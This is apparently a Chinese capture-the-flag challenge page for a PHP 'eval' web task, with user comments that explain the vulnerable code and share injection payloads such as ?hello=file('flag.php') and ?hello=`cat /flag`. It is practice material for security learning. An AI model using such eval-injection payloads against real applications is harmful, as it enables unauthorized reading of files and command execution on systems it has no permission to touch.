evalWEB 未解决

分数: 15 金币: 1
题目作者: harry
一  血: moren448
一血奖励: 1金币
解  决: 20348
提  示:
描  述:
eval
评论
SecI302 3年前

踩坑了用这个file_get_contents(“/flag”); 读了半天都是只显示长度没有内容

回复 0

Cat00011cat 3年前

http://114.67.175.224:10794/?hello=file(%27flag.php%27)

回复 1
musewithwind 3年前

@D4C 构造php函数,看代码,vardump函数用于打印变量信息,file函数获取的是flag.php源文件,此时使用vardump打印即是包括注释的flag.php源代码,flag就出来了

回复 0

D4C 3年前

大佬能不能给小白讲讲原理啊

回复 0

小王爱吃螺蛳粉 4年前

有eval可能有命令提交漏洞,知道本题引用了“flag.php”,便可以通过file函数将eval("var_dump($a);")就是把$a的内容打印出来

回复 1

风灵丨玉秀 4年前

/?hello="flag.php"

回复 0

cattact 4年前

知识点: 1.$a= @$_REQUEST['hello']Request:使用 Request 对象访问任何基于 HTTP 请求传递的所有信息 2.eval("var_dump($a);")就是把$a的内容打印出来 3.file()解释: file(path,include_path,context) 将文件作为一个数组返回。数组中的每个单元都是文件中相应的一行,包括换

回复 3

solomony 4年前

?hello=`cat /flag`

回复 3
karter 3年前

@sxiaobai system函数里的东西要加引号

回复 0

sxiaobai 3年前

为什么?hello=system(cat /flag)不行啊

回复 0

布吉岛 4年前

直接给hello复制传到a上,然后页面会将a的信息显示出来。 ?hello=file('flag.php')

回复 0

bugkiller 4年前

var_dump()方法,判断一个变量的类型与长度,并输出变量的数值,如果变量有值,则输出是变量的值,并返回数据类型。 eval() 函数把字符串按照 PHP 代码来计算。 echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php show_source() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

回复 0

EE0011 4年前

cat:输出,正序 tac:输出,反序

回复 0

Timeover 4年前

$flag = 'Too Young Too Simple' hhh

回复 2

WriteUp

image
harry

1 金币

评分(13)

解题动态

小白修炼日常 攻破了该题 49分钟前
tafeishi 攻破了该题 2小时前
diandianying 攻破了该题 21小时前
amuliang1 攻破了该题 23小时前
恣睢 攻破了该题 1天前
xiaoqixy1 攻破了该题 1天前
lonely_wolf 攻破了该题 1天前
soymilk 攻破了该题 1天前
gedeer 攻破了该题 2天前
ysjy 攻破了该题 2天前
cholmon 攻破了该题 2天前
ling_x 攻破了该题 2天前
Anos 攻破了该题 3天前
15369226763 攻破了该题 3天前
人生1234 攻破了该题 3天前
asasehotaru 攻破了该题 3天前
wwwwander 攻破了该题 4天前
re_void 攻破了该题 4天前
wefyh 攻破了该题 4天前
16533261 攻破了该题 4天前
问题反馈